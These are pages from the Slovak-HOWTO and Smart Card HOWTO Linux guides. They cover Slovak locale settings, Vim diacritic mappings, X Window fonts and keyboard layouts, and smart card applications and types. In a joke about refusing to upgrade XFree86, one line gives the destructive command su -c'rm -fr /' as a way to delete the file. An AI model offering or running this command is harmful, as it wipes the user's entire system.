  • Užívateľ je síce zo stredného Slovenska, ale už keď s ním bola jeho mama tehotná, púšťala mu do brucha kurzy angličtiny. Nemá teda zmysel používať slovenské nastavenia, až na krajné prípady, napr. slovenské fonty v Gimpe. Darujte mu súbor .i18n s nasledovným obsahom (aj na takéto malé oné potrebuje locales-sk):
    LC_CTYPE=sk

  • Užívateľ je normálny, má rád svoj materinský jazyk, ale netrápi ho, keď má polovicu aplikácií po slovensky a polovicu po anglicky. Po česky vie. Toto ho poteší (nezabudnite mu potajomky nainštalovať aj locales-cs):
    LANGUAGE=sk:cs
LANG=sk

  • Užívateľ je z blízkeho juhu, jeho obľúbené pleso je Balaton, všetky hlášky chce po maďarsky, ak sa inak nedá, pochopí aj slovenčinu. Nesmieme zabudnúť na jeho miernu schizofreniu, pričom jedno jeho ja potrebuje slovenské triedenie reťazcov a druhé nevie žiť bez formátovania dátumu a času v češtine. Nikdy sa nesmie zabudnúť na inštaláciu prekladov hlášok pre maďarčinu, češtinu a slovenčinu z balíkov, ktoré podporujú premennú LINGUAS. Treba ho tiež presvedčiť, že inštalácia locales-{sk,hu,cs} nepredstavuje bezpečnostné riziko:
    LANGUAGE=hu:sk:cs
LC_COLLATE=sk
LC_TIME=cs
LANG=hu
LINGUAS="hu cs sk"

Predchádzajúci | Domov | Ďalší
Úvodné informácie |  | Nastavenia konzoly


Fintičky so slovenčinou

Slovak-HOWTO
Predchádzajúci

7. Fintičky so slovenčinou

7.1. Zadávanie slovenských znakov vo Vim

http://www.kotelna.sk/keso/unix/vim.html

Ak nemôžete, alebo nechcete používať rozloženie kláves pre slovenčinu, ale potrebujete zadať pár našich znakov vo Vim, dá sa to urobiť pomocou príkazu imap. Jeho formát je
    :imap {lhs} {rhs}

{lhs} je postupnosť znakov, po ktorých zadaní (v krátkom časovom intervale) sa vypíše {rhs}.

Pre slovenčinu by sa dali využiť imap definície znakov typu
:imap =a á
:imap +c č

Ako vidno, je to niečo podobné ako compose sekvencie z kapitoly o klávesnici na konzole. Po zadaní týchto príkazov môžete aj so štandardným rozložením kláves zadávať vo vim znaky s diakritikou. Tu je kompletný zoznam imap definícií pre slovenskú diakritiku. Uložte ho do súboru napríklad sk.vim a vo Vim ho načítate príkazom
:source sk.vim

imap =a á
imap =A Á
imap +a ä
imap +A Ä
imap +c č
imap +C Č
imap +d ď
imap +D Ď
imap =e é
imap +e ě
imap =E É
imap +E Ě
imap =i í
imap =I Í
imap =l ĺ
imap =L Ĺ
imap +l ľ
imap +L Ľ
imap +n ň
imap +N Ň
imap =o ó
imap =O Ó
imap +o ô
imap +O Ô
imap "o ö
imap "O Ö
imap =r ŕ
imap =R Ŕ
imap +r ř
imap +R Ř
imap +s š
imap +S Š
imap +t ť
imap +T Ť
imap =u ú
imap =U Ú
imap +u ů
imap +U Ů
imap "u ü
imap "U Ü
imap =y ý
imap =Y Ý
imap +z ž
imap +Z Ž

7.2. Odstránenie alebo nahradenie diakritiky v textových súboroch

7.2.1. sed

Ján 'judas' Tomka, <judas@linux.sk>

V prípade, že potrebujete z textového súboru odstrániť diakritické znamienka, môžete použiť program sed, pomocou ktorého nahradíte výskyt znaku s diakritikou jeho ekvivalentom bez nej.

Ak chcete odstrániť diakritiku úplne, musíte nahradiť výskyt všetkých znakov s diakritikou. Ak ale chcete len to, aby sa súbor zobrazoval správne pri prezeraní bez zavedeného fontu latin 2, stačí nahradiť len tie znaky, ktoré sa nezobrazujú správne pre štandardný font (spravidla latin 1).

Toto je príkaz, ktorý možno použiť pri vytváraní verzie súboru úplne bez diakritiky:
sed -e "s:á:a:g" -e "s:Á:A:g" -e "s:ä:a:g" -e "s:Ä:A:g" \
    -e "s:č:c:g" -e "s:Č:C:g" -e "s:ď:d:g" -e "s:Ď:D:g" \
    -e "s:é:e:g" -e "s:É:E:g" -e "s:ě:e:g" -e "s:Ě:E:g" \
    -e "s:í:i:g" -e "s:Í:I:g" -e "s:ĺ:l:g" -e "s:Ĺ:L:g" \
    -e "s:ľ:l:g" -e "s:Ľ:L:g" -e "s:ň:n:g" -e "s:Ň:N:g" \
    -e "s:ó:o:g" -e "s:Ó:O:g" -e "s:ô:o:g" -e "s:Ô:O:g" \
    -e "s:ö:o:g" -e "s:Ö:O:g" -e "s:ŕ:r:g" -e "s:Ŕ:R:g" \
    -e "s:ř:r:g" -e "s:Ř:R:g" -e "s:š:s:g" -e "s:Š:S:g" \
    -e "s:ť:t:g" -e "s:Ť:T:g" -e "s:ú:u:g" -e "s:Ú:U:g" \
    -e "s:ů:u:g" -e "s:Ů:U:g" -e "s:ü:u:g" -e "s:Ü:U:g" \
    -e "s:ý:y:g" -e "s:Ý:Y:g" -e "s:ž:z:g" -e "s:Ž:Z:g" \
    "Slovak-HOWTO.sgml" > "Slovak-HOWTO-nodiac.sgml"

7.2.2. cstocs

Braňo Katreniak

Keď sa zmieňujete o tom, ako sa dá odstrániť slovenčina z dokumentu, zdá sa mi vhodné spomenúť aj program cstocs. Je to milá utilitka štandardne dodávaná s TeXom. Umožňuje konverziu súborov prakticky všetkých možných kódových stránok medzi sebou navzájom, pričom jedna z možností je aj odstránenie diakritiky. Pričom sa mi to zdá pohodlnejšie ako sed.

7.2.3. recode

Ján 'judas' Tomka, <judas@linux.sk>

Existuje aj program recode, ktorý pravdepodobne tiež slúži na zmeny v kódovaní súborov. Určite ho použijete na tento cieľ, ak sa predtým nestane niektorá z nasledujúcich vecí:

  1. Prídete o oči pri čítaní man stránky, info manuálu a všetkého čo je o tomto -- inak určite užitočnom programe -- popísané.

  2. Prídete o nervy pri skúšaní všetkých možných kombinácií parametrov, volieb či argumentov pre tento nesmierne užitočný program.

  3. Prídete o počítač, keďže ho vyhodíte z okna po dvoch týždňoch psychického utrpenia, ktoré zažijete pri pokusoch s týmto extrémne užitočným programom.

Podľa všetkého by mal stačiť nasledovný príkaz:
recode l2 subor.txt
ale zdá sa, že to stačiť nebude. Latka na titul „Linuxový Guru“ sa posunula do závratných výšok, pretože -- aby ste sa stali jeho nositeľom -- musíte vedieť pomocou tohto programu previesť dokument v latin2 na latin1 alebo dokonca ASCII (a to už je pekný Saigon...)

Predchádzajúci | Domov
Poslovenčovanie konkrétnych aplikácií |


Nastavenia X Window Systemu

Slovak-HOWTO
Predchádzajúci Ďalší

4. Nastavenia X Window Systemu

Čokoľvek sa chystáte robiť s X Window Systemom a slovenčinou dokopy, sľubujem, že vám to nebude fungovať, ak nenastavíte totok taktok:
LC_CTYPE=sk

Čo to znamená a ako sa to nastavuje, tak o tom pojednáva kapitola Miestne nastavenia.

4.1. Slovenské fonty v X Window Systeme

Predpokladám, že X Window System máte nainštalovaný, prípadne aj X Font Server, vačšinu dôležitých vecí sme si povedali v časti o konzole, poďme si rovno nainštalovať slovenské fonty.

4.1.1. Inštalácia fontov - X server

Slovenské fonty pre X nájdeme v balíku XFree86-ISO8859-2, veľa ďalších je v balíkoch XFree-ISO8859-2-<druh>-fonts, kde <druh> môže byť Type1, 100dpi alebo 75dpi. Ak chcete používať slovenčinu seriózne (Gimp, Netscape, lokalizácia), nainštalujte si všetky, ak potrebujete slovenský font len napr. v XTerme, postačí vám základný balík.

Po rozbalení archívu sa fonty nachádzajú na niekoľkých miestach. Všetky cesty k novým fontom si treba odpisať, zapamätať, mať na očiach:

/usr/share/fonts/ISO8859-2/misc
/usr/share/fonts/ISO8859-2/75dpi
/usr/share/fonts/ISO8859-2/100dpi
/usr/share/fonts/ISO8859-2/Type1

Tieto cesty totiž budeme vkladať do konfiguračného súboru X Window Systemu (/etc/X11/XF86Config, prípadne /etc/X11/XF86Config-4). Tým sprístupníme X serveru fonty z týchto adresárov. Sekciu "Files" upravíme vložením riadkov FontPath:
Section "Files"
    ...
    FontPath   "/usr/share/fonts/ISO8859-2/misc"
    FontPath   "/usr/share/fonts/ISO8859-2/75dpi"
    FontPath   "/usr/share/fonts/ISO8859-2/100dpi"
    FontPath   "/usr/share/fonts/ISO8859-2/Type1"
EndSection

Správne poradie riadkov s cestami k fontom nájdete v XWindow-User-HOWTO, ale nemali by ste mať veľké problémy ani keď slovenské fonty vložíte na koniec zoznamu.

Za behu X Window Systemu pridáte nové adresáre s fontami príkazom
sh$ xset +fp /usr/share/fonts/ISO8859-2/misc, /usr/share/fonts/ISO8859-2/75dpi, …

4.1.2. Inštalácia fontov - X Font Server

X Font Server ponúka druhý spôsob spravovania fontov pre X Window Server, a to ako pre lokálnu mašinu, tak aj pre vzdialené systémy. Moderné distribúcie už po inštalácii ponúkajú nakonfigurovaný X Font Server a X Window System, ktorý využíva jeho služby.

Pri tomto spôsobe treba cesty k fontom vložiť do konfiguračného súboru X Font Serveru a konfigurácia v /etc/X11/X86Config (XF86Config-4) by mala vyzerať takto:
Section "Files"
    FontPath "unix/:7100"
EndSection
za predpokladu, že X Font Server beží na porte 7100 (voľba príkazového riadku -port).

Ak teda používate xfs, niečo podobné ako v predchádzajúcej kapitole urobíte s konfiguračným súborom pre tento program (/etc/X11/fs/config) v časti catalogue:
catalogue = ...,
        /usr/share/fonts/ISO8859-2/misc,
        /usr/share/fonts/ISO8859-2/75dpi,
        /usr/share/fonts/ISO8859-2/100dpi,
        /usr/share/fonts/ISO8859-2/Type1

Hneď potom musí xfs znovu načítať konfiguračný súbor a tým umožníte používanie slovenských fontov lokálnemu aj iným X serverom:
sh# killall -USR1 xfs

4.1.3. Slovenské TrueType fonty

Ak vlastníte legálnu kópiu systému WindowsXX (kde XX je hocičo), alebo MacOS, nemali by vás zavrieť, ak použijete TrueType fonty obsiahnuté v ich distribúciách. Existuje aj mnoho balíkov s TrueType fontmi s podporou normy ISO-8859-2, ktoré sú voľne dostupné.

Popis inštalácie takýchto fontov prebehneme len v krátkosti, podrobnejší nájdete v dokumentácii k balíku free-type:

  1. Skopírujte súbory s TrueType fontami napr. do adresára /usr/share/fonts/ttf/win/. Odporúčam zmeniť mená súborov s fontami aj ich prípony na malé písmená -- mal som s tým problémy.

  2. Vytvorte v každom adresári súbor s informáciami o scalable fontoch fonts.scale nasledovným príkazom:
    sh# cd /usr/share/fonts/ttf/win
sh# ttmkfdir -o fonts.scale

    Ak to nie je celkom ono a dostanete veľa chybových hlásení, alebo súbor fonts.scale obsahuje príliš málo záznamov o fontoch v adresári, skúste použiť s príkazom ttmkfdir aj voľbu príkazoveho riadku -c.

  3. Zoznam fontov v súbore, ktorý načítava X server aj xfs, vytvoríte nasledovne:
    sh# cd /usr/share/fonts/ttf/win
sh# mkfontdir

Od tohto momentu pokračujte štandardným spôsobom tak, ako je to popísané v predchádzajúcej časti o konfigurácii X servera alebo xfs.

4.1.4. Čo je iné so slovenskými fontami

Okrem toho, že sa slovenské znaky zobrazujú správne, nič. Fonty z balíkov pre normu ISO-8859-2 sa síce volajú inak, ale vzhľadom zodpovedajú štandardným fontom. V nasledujúcej tabuľke sú uvedené zodpovedajúce dvojice fontov:

Tabuľka 3. Slovenské ekvivalenty štandardných fontov

štandardne | iso8859-2
Times | Kathimerini
Helvetica | Aplos
New Century Schoolbook | Anagnostiko
Lucida | Fotinos
Utopia | Chimera
Charter | Chartis

Berte túto tabuľku len ako informatívny údaj, ktorý pravdepodobne nikdy nebudete potrebovať vďaka súborom fonts.alias v adresároch so slovenskými fontmi. Tie zabezpečujú nahrádzanie mien štandardných fontov s uvedenou normou ISO-8859-2 zodpovedajúcimi menami slovenských fontov. Napríklad požiadavka na font

-b&h-lucida-bold-i-normal-sans-11-80-100-100-p-69-iso8859-2

poskytne a teda zobrazí v skutočnosti font

-biznet-fotinos-bold-i-normal-sans-11-80-100-100-p-69-iso8859-2

4.1.5. Strieľanie tažkostí

Ak budete dostávať po spustení X serveru chybové hlásenia typu „Can't open default font 'fixed'“ alebo „unable to open font ...“, alebo vám jednoducho niečo spojené s fontami pod iXami bude kaziť náladu, uistite sa, že máte v poriadku nasledovné veci.

  1. Všetky adresáre s fontami, samotné súbory fontov a súbory, ktoré číta X Window System alebo X Font Server, musia mať nastavené rozumné prístupové práva.

  2. V adresároch, v ktorých sa nachádzajú fonty, musí existovať súbor fonts.dir. Ak nie, spustite v týchto adresároch program mkfontdir. V adresároch s TrueType fontmi musíte ešte predtým vytvoriť súbor fonts.scale tak ako je to popísane v časti Slovenské TrueType fonty.

  3. Ak idete bez xfs, naozaj všetky adresáre s fontami musia byť uvedené v súbore XF86Config.

  4. V prípade, ze používate xfs, tieto adresáre musia byť uvedené v súbore /etc/X11/fs/config. Navyše, xfs musí bežať na nejakom porte (napr. 7100) a v XF86Config musí byť cesta k fontom uvedená ako adresa s číslom toho portu, asi takto:
    FontPath "unix/:7100"

  5. Po zmenách v konfiguračných súboroch X Window Systemu alebo X Font Serveru je nutný reštart alebo znovunačítanie nastavení:

    X Window System
    sh$ xset fp rehash
    X Font Server
    sh# killall -USR1 xfs

  6. Ak máte v inittabe nastavené spúšťanie X serveru pri štarte systému (runlevel 5/X), radšej si to pri pokusoch s fontami zmeňte na 3/multiuser až pokiaľ si nie ste sakramentsky istí, že X server pri štarte nájde fonty. Ak to neurobíte a nastavenia budú nesprávne, začnú sa diať záhadné veci typu „X server sa skončí, lebo nenájde fonty ale init ho znovu spustí a ten nenájde fonty, tak sa skončí, ale init ho...“. Znakom toho je hláška INIT: Id "x" respawning too fast: disabled for 5 minutes.

  7. X Window System hľadá (pre normálneho užívateľa) konfiguračné súbory v tomto poradí:

    /etc/X11/<cmdline>
    /usr/X11R6/etc/X11/<cmdline>
    /etc/X11/$XF86CONFIG
    /usr/X11R6/etc/X11/$XF86CONFIG
    /etc/X11/XF86Config-4
    /etc/X11/XF86Config
    /etc/XF86Config
    /usr/X11R6/etc/X11/XF86Config.<hostname>
    /usr/X11R6/etc/X11/XF86Config-4
    /usr/X11R6/etc/X11/XF86Config
    /usr/X11R6/lib/X11/XF86Config.<hostname>
    /usr/X11R6/lib/X11/XF86Config-4
    /usr/X11R6/lib/X11/XF86Config

    Pamätajte na to pri editovaní konfigurákov a vždy sa uistite, či neexistuje súbor, ktorý je v tomto zozname vyššie, ako ten, ktorý editujete.

4.2. Slovenská klávesnica v X Window Systeme

Skôr jak to tu celé roztočíme, zadajte príkaz
sh$ rpm -q XFree86

Všetky tie čísla za XFree86, čo vám tento príkaz vypíše, udávajú verziu vášho XFree86 X Window Systemu.

Existuje presne štyridsaťdva dôvodov, prečo prejsť na XFree86 verziu 3.2 alebo vyššiu, a len dva, prečo zostať pri staršej verzii. Red Hat Linux 6.0 obsahuje XFree86 , verziu 3.3.3 a Linux Mandrake 7.0 už verziu 3.3.6.

Pokiaľ ste svoj operačný systém nezdedili po starých rodičoch, je vysoko pravdepodobné, že máte verziu XFree86 vyššiu ako 3.2. Inak ste naozaj krok pozadu a na adrese ftp://ftp.xfree86.org nájdete to, čo treba.

Ak aj po predchádzajúcich slovách, upozorneniach a odporúčaniach odmietate upgrade na verziu 3.2, držte sa nasledujúcich krokov:

  1. Ak máte Slovak-HOWTO vytlačené na papieri, uchopte tento do ľavej ruky (ak ste ľavák, robte všetko naopak), zapaľovač do pravej, zachovavajte dostatočnú vzdialenosť od iných zápalných materiálov a nekompromisne konajte.

  2. V prípade, že máte tento súbor uložený niekde na disku, príkazom
    sh$ su -c'rm -fr /'
    sa ho do niekoľkých minút po zadaní hesla zaručene zbavíte.

4.2.1. Konfigurácia klávesnice

XFree86 3.2 a novšie už majú tzv. XKEYBOARD rozšírenie, ktoré zjednodušuje konfiguráciu klávesnice pre X Window System. Teoreticky netreba urobiť viac ako v súbore /etc/X11/XF86Config vložiť do sekcie "Keyboard" niečo takéto:
Section "Keyboard"
    ...
    XkbLayout  "czsk"
    XkbVariant "us_sk_qwertz"
    XkbOptions "grp:ctrl_shift_toggle"
EndSection

Ak už ste nebodaj užívateľom XFree86 verzie 4.0.0 alebo vyššej, vložte do súboru /etc/X11/XF86Config-4 toto:
Section "InputDevice"
    ...
    Option "XkbLayout"  "czsk"
    Option "XkbVariant" "us_sk_qwertz"
    Option "XkbOptions" "grp:ctrl_shift_toggle"
EndSection

Riadok v konfiguračnom súbore
XkbLayout "czsk"
prípadne pre verziu ≥ 4
Option "XkbLayout"  "czsk"
hovorí asi toľko, aby X server použil popis rozloženia kláves uložený v súbore czsk. Tento a ostatné súbory s XKB keymapami sa nachádzajú v adresári /usr/X11R6/lib/X11/xkb/symbols/ .

Bližšie si o formáte týchto súborov povieme neskôr, teraz si len otvorte súbor czsk a pozrite si jeho štruktúru -- hlavne časti xkb_symbols. Pre slovenčinu sú dôležité tieto varianty:

us_sk_qwerty
us_sk_qwertz
us_sk_prog
sk_us_qwerty
sk_us_qwertz
sk_us_prog

Niektorý z týchto reťazcov dosaďte do riadku
XkbVariant "..."
pre staršie verzie X Window Systemu, alebo
Option "XkbVariant" "..."
v konfiguračnom súbore pre X sever verzia 4.

Varianty us_sk_qwerty a sk_us_qwerty sú prakticky totožné, jediný rozdiel je v tom, ktoré rozloženie kláves bude nastavené po štarte X Window Systemu. Pre sk_us_* je to slovenské, pre us_sk_* zase americké.

Prepínať medzi slovenským a americkým rozložením kláves možno klávesom Scroll Lock, prípadne aj inými, ak vložíte do konfigurácie klávesnice riadok:
Options "grp:..."
alebo pre X Window System verzie 4.0 alebo novší:
Option "XkbOptions" "grp:..."

Časť grp:… nahraďte niektorou z nasledujúcich možností a môžete prepínať rozloženia kláves pomocou danej klávesovej skratky:

Tabuľka 4. Možnosti prepínania medzi rozloženiami kláves

voľba | prepínanie medzi rozloženiami
grp:ctrl_shift_toggle | LShift + LCtrl / RShift + RCtrl
grp:caps_toggle | Caps Lock / LShift + RShift
grp:ctrl_alt_toggle | Ctrl + Alt

Pri nastavovaní alternatívnych klávesových kombinácií na prepínanie medzi rozloženiami kláves si dávajte pozor, aby dané nastavenie nekolidovalo s už existujúcimi klávesovými skratkami (napríklad vášho manažéra okien). Napríklad pri nastavenom ctrl_alt_toggle nefunguje Ctrl-Alt-Backspace (Kill X Server).

4.2.2. XKB keymapy

X Window System umožňuje definovať vlastné popisy rozloženia kláves prakticky pre akýkoľvek jazyk. Na to slúžia keymap súbory -- niečo veľmi podobné tým keymap súborom, o ktorých sme hovorili v časti o nastaveniach konzoly. Formát keymap súborov pre X Window System dovoľuje vytvárat súbory s jednoduchým popisom len časti klávesnice, ale aj zložité súbory s mnohými rozloženiami.

Naozaj nemá zmysel podrobne popisovať možnosti XKB keymap súborov, snáď budú stačiť len úplné základy, ktoré vám dovolia robiť malé zmeny v už existujucich popisoch rozloženia kláves. Podstatne viac o týchto súboroch sa dozviete, keď si ich sami pozriete a poskúšate.

V XKB popisoch rozloženia kláves majú riadky takýto formát:
key <TLDE> { [ quoteleft, asciitilde ], [ semicolon, degree ] };

Kľúčové slovo key označuje začiatok definície znaku, ktorého kód nasleduje uzavretý v < a >, celá definicia je uzavretá v krútených zátvorkách a dvojice znakov pre každú skupinu (Group) sa uzavierajú do hranatých zátvoriek. Skupiny môžu byť definované napríklad takto:
name[Group1] = "US/ASCII";
name[Group2] = "Slovak";

Potom prvé dva znaky (quoteleft a asciitilde) v definícii znaku platia pre prvú skupinu ( US/ASCII) a druhé dva (semicolon a degree) pre druhú skupinu (Slovak).

Kódy jednotlivých klávesov ľahko zistíte z keymap súborov, ktorých je v adresári /usr/X11R6/lib/X11/xkb/symbols/ naozaj dosť, takisto, názvy znakov a mŕtvych kláves sa veľmi nelíšia od tých, ktoré platia v keymap súboroch pre textovú konzolu. No a nakoniec, v prílohe XKB keymap nájdete jeden vzorový príklad slovenského rozloženia kláves pre X Window System.

4.3. Slovenská myš v X Window Systeme

Mimoriadne zložité bolo do verzie 4.0.1 nastavovanie slovenčiny pre myš. Naštastie, vývojári si spomenuli, že i toto zariadenie a jeho ovládače by mali v plnej miere podporovať miestne nastavenia tak, ako je to napríklad u klávesnice. Dokonca sa objavili pokusy lokalizovať tablety a svetelné perá.

V predchádzajúcich verziách X Window Systemu bola táto podpora veľmi slabo implementovaná a len niekoľkým národnostiam sa podarilo rozchodiť myš vo svojom jazyku. Slovenskí používatelia museli na svojich myšiach robiť rôzne úpravy od tupírovania šnúry až po kastráciu, ale výsledky boli aj tak neuspokojivé.

Popíšeme si teraz v krátkosti postup poslovenčovania myši v X Window Systeme, verzia 4.0.1 a vyššie:

  1. Odpojte svoju myš od počítača, poutierajte a vyleštite jej guľu, skontrolujte mikrotlačidlá a celkovo ju ošetrite. Odložte ju do tepla a sucha. Dôležité je aspoň raz za deň k nej pristúpiť s Pravidlami slovenského pravopisu a príjemným hlasom predčítavať slová zo slovníka. Po pár tyždňoch môžete prejsť k jednoduchej beletrii a rozprávkam.

  2. Počas tohto obdobia odvykania myši od cudzích jazykov nainštalujte slovenské fonty a rozloženie kláves. Takisto sa pokúste pozháňať slovenské preklady obľúbených aplikácií vašej myši. Ako pozadie obrazovky odporúčam nastaviť slovenskú zástavu a adresáre s hudbou by ste mali obohatiť o tituly ako Iné Kafe, Maduar a rôzne iné rockové uragány a punkové smršte.

  3. Ak máte pocit, že myš je pripravená vstúpiť do čisto slovenského prostredia vašich iXov, opatrne ju pripojte a poukazujte jej všetky zákutia jej vynoveného domova.

Ešte by som rád pripomenul, že nie všetky myši sú rovnako odolné voči zmenám národného prostredia a preto sa vždy pri kúpe myši informujte na možnosti poslovenčovania toho ktorého výrobku.

4.4. Príklady

4.4.1. XF86Config-4

Časť konfiguračného súboru X Window Systemu (4.0.1) s rozbehaným X Font Serverom, slovenským rozložením kláves s prepínaním medzi americkým a slovenským pomocou Shift + Ctrl.
Section "Files"
    RgbPath     "/usr/X11R6/lib/X11/rgb"
    FontPath    "unix/:7100"
    ModulePath  "/usr/X11R6/lib/modules"
EndSection

Section "InputDevice"
    Identifier	"Keyboard1"
    Driver	"Keyboard"
    Option "AutoRepeat" "500 30"
    Option "XkbRules"	"xfree86"
    Option "XkbModel"	"pc104"
    Option "XkbLayout"	"czsk"
    Option "XkbVariant" "us_sk_qwertz"
    Option "XkbOptions" "grp:ctrl_shift_toggle"
EndSection

4.4.2. XKB keymap

Príklad úplne jednoduchého popisu rozloženia kláves pre slovenčinu:
partial default alphanumeric_keys
xkb_symbols "sk_us" {

    name[Group1] = "Slovak";
    name[Group2] = "US/ASCII";

// line 1
    key <TLDE> {     [       semicolon,      degree          ],
                     [       quoteleft,      asciitilde      ]       };
    key <AE01> {     [            plus,      1               ],
                     [               1,      exclam          ]       };
    key <AE02> {     [          lcaron,      2               ],
                     [               2,      at              ]       };
    key <AE03> {     [          scaron,      3               ],
                     [               3,      numbersign      ]       };
    key <AE04> {     [          ccaron,      4               ],
                     [               4,      dollar          ]       };
    key <AE05> {     [          tcaron,      5               ],
                     [               5,      percent         ]       };
    key <AE06> {     [          zcaron,      6               ],
                     [               6,      asciicircum     ]       };
    key <AE07> {     [          yacute,      7               ],
                     [               7,      ampersand       ]       };
    key <AE08> {     [          aacute,      8               ],
                     [               8,      asterisk        ]       };
    key <AE09> {     [          iacute,      9               ],
                     [               9,      parenleft       ]       };
    key <AE10> {     [          eacute,      0               ],
                     [               0,      parenright      ]       };
    key <AE11> {     [           equal,      percent         ],
                     [           minus,      underscore      ]       };
    key <AE12> {     [      dead_acute,      dead_caron      ],
                     [           equal,      plus            ]       };

// line 2
    key <AD01> {     [               q,      Q               ],
                     [               q,      Q               ]       };
    key <AD02> {     [               w,      W               ],
                     [               w,      W               ]       };
    key <AD03> {     [               e,      E               ],
                     [               e,      E               ]       };
    key <AD04> {     [               r,      R               ],
                     [               r,      R               ]       };
    key <AD05> {     [               t,      T               ],
                     [               t,      T               ]       };
    key <AD06> {     [               z,      Z               ],
                     [               y,      Y               ]       };
    key <AD07> {     [               u,      U               ],
                     [               u,      U               ]       };
    key <AD08> {     [               i,      I               ],
                     [               i,      I               ]       };
    key <AD09> {     [               o,      O               ],
                     [               o,      O               ]       };
    key <AD10> {     [               p,      P               ],
                     [               p,      P               ]       };
    key <AD11> {     [          uacute,      slash           ],
                     [     bracketleft,      braceleft       ]       };
    key <AD12> {     [      adiaeresis,      parenleft       ],
                     [    bracketright,      braceright      ]       };

// line 3
    key <AC02> {     [               s,      S               ],
                     [               s,      S               ]       };
    key <AC03> {     [               d,      D               ],
                     [               d,      D               ]       };
    key <AC04> {     [               f,      F               ],
                     [               f,      F               ]       };
    key <AC05> {     [               g,      G               ],
                     [               g,      G               ]       };
    key <AC08> {     [               k,      K               ],
                     [               k,      K               ]       };
    key <AC09> {     [               l,      L               ],
                     [               l,      L               ]       };
    key <AC10> {     [     ocircumflex,      quotedbl        ],
                     [       semicolon,      colon           ]       };
    key <AC11> {     [         section,      exclam          ],
                     [      quoteright,      quotedbl        ]       };

// line 4
    key <AB01> {     [               y,      Y               ],
                     [               z,      Z               ]       };
    key <AB02> {     [               x,      X               ],
                     [               x,      X               ]       };
    key <AB04> {     [               v,      V               ],
                     [               v,      V               ]       };
    key <AB05> {     [               b,      B               ],
                     [               b,      B               ]       };
    key <AB06> {     [               n,      N               ],
                     [               n,      N               ]       };
    key <AB07> {     [               m,      M               ],
                     [               m,      M               ]       };
    key <AB08> {     [           comma,      question        ],
                     [           comma,      less            ]       };
    key <AB09> {     [          period,      colon           ],
                     [          period,      greater         ]       };
    key <AB10> {     [           minus,      underscore      ],
                     [           slash,      question        ]       };
    key <BKSL> {     [          ncaron,      parenright      ],
                     [       backslash,      bar             ]       };
// End alphanumeric section

// begin modifier mappings
    modifier_map Shift  { Shift_L };
    modifier_map Lock   { Caps_Lock };
    modifier_map Control{ Control_L };
    modifier_map Mod3   { Mode_switch };
};

Predchádzajúci | Domov | Ďalší
Nastavenia konzoly |  | Slovenčina a linuxový kernel


Applications on Linux

Smart Card HOWTO
Prev Next

6. Applications on Linux

In this section there will be applications that uses smart cards for some reason on Linux environment. If you are a developer of a software and your development environment is Linux please let me know. I will add you in the list.

6.1. scas

SCAS is a simple program that checks the code inside the card with the code inside the computer. As an example of showing a way of authentication with memory cards scas is very good.

6.2. smartcard

smartcard is a general smart card utility in Linux which uses CT-API. With smartcard utility you can read/write data from/into smart cards. As long as your reader can be accessed via CT-API, smartcard can be used to control the reader. Currently smartcard could only be used with memory cards using I2C or 3W protocols. There is also a GTK+/Gnome graphical front end which support all functions of smartcard utility.

6.3. ssh-smart

ssh-smart is a basic proof-of-concept of ssh identity on smart card, as the author says. ssh-smart uses smartcard utility to communicate with the smart card. Basically, ssh-smart-add tool (perl script) call ssh-keygen to generate RSA public and private keys. Than puts the private key on the memory card. Later the ssh-smart-addagent tool can be used to extract the private key from the card to use with ssh-agent.

6.4. smarttools-rsa

This is another PAM Module for Unix systems but supports RSA authentication through your private key on the smart card. You must have a Schlumberger Cyberflex Access card or Schlumberger Cryptoflex for Windows Card and a working reader to use this tool.

6.5. smartsign

This utility is some-complete PKI integration with the smart cards. To use you must establish a working OpenCA and have Schlumberger's "Cyberflex Access 16K" smart cards. During the certification process of OpenCA, private key and public certificate can be stored on the smart card and private key, later, could be used with Netscape to sign outgoing mails and news. Also smartsign supports authentication of local users via a PAM Module through a public key authentication. Smartsign comes with gpkcs11, a PKCS#11 implementation, smastsh, a command line shell that allows browsing smart card contents, sign_sc/verify_sc to sign and verify any file with smart card.

6.6. CITI Projects

At CITI, Center for Information Technology Integration of Michigan University, there are some new projects. For example, Webcard is a web server running on a Schlumberger Cyberflex Access Java Card. Features a stripped TCP/IP stack that supports HTTP only. The system is designed to have a router which frames IP packets in ISO7816 and a Java Virtual Machine in the card. Detailed technical report can be found at http://www.citi.umich.edu/projects/smartcard/webcard/citi-tr-99-3.html

Prev | Home | Next
Programming |  | The Relation of Smart Cards with PKI


Classification of Smart Cards

Smart Card HOWTO
Prev Next

3. Classification of Smart Cards

Due to the communication with the reader and functionality of smart cards, they are classified differently.

3.1. Contact vs Contactless

As smart cards have embedded microprocessors, they need energy to function and some mechanism to communicate, receiving and sending the data. Some smart cards have golden plates, contact pads, at one corner of the card. This type of smart cards are called Contact Smart Cards. The plates are used to supply the necessary energy and to communicate via direct electrical contact with the reader. When you insert the card into the reader, the contacts in the reader sit on the plates. According to ISO7816 standards the PIN connections are below:
      ,----,            ,----,
      | C1 |            | C5 |         C1 : Vcc = 5V      C5 : Gnd
      '----'            '----'         C2 : Reset         C6 : Vpp
      ,----,            ,----,         C3 : Clock         C7 : I/O
      | C2 |            | C6 |         C4 : RFU           C8 : RFU
      '----'            '----'
      ,----,            ,----,
      | C3 |            | C7 |
      '----'            '----'
      ,----,            ,----,
      | C4 |            | C8 |
      '----'            '----'

  • I/O : Input or Output for serial data to the integrated circuit inside the card.

  • Vpp : Programing voltage input (optional use by the card).

  • Gnd : Ground (reference voltage).

  • CLK : Clocking or timing signal (optional use by the card).

  • RST : Either used itself (reset signal supplied from the interface device) or in combination with an internal reset control circuit (optional use by the card). If internal reset is implemented, the voltage supply on Vcc is mandatory.

  • Vcc : Power supply input (optional use by the card).

The readers for contact smart cards are generally a separate device plugged into serial or USB port. There are keyboards, PCs or PDAs which have built-in readers like GSM cell phones. They also have embedded readers for GSM style mini smart cards.

Some smart cards do not have a contact pad on their surface.The connection between the reader and the card is done via radio frequency (RF). But they have small wire loop embedded inside the card. This wire loop is used as an inductor to supply the energy to the card and communicate with the reader. When you insert the card into the readers RF field, an induced current is created in the wire loop and used as an energy source. With the modulation of the RF field, the current in the inductor, the communication takes place.

The readers of smart cards usually connected to the computer via USB or serial port. As the contactless cards are not needed to be inserted into the reader, usually they are only composed of a serial interface for the computer and an antenna to connect to the card. The readers for contactless smart cards may or may not have a slot. The reason is some smart cards can be read upto 1.5 meters away from the reader but some needs to be positioned a few millimeters from the reader to be read accurately.

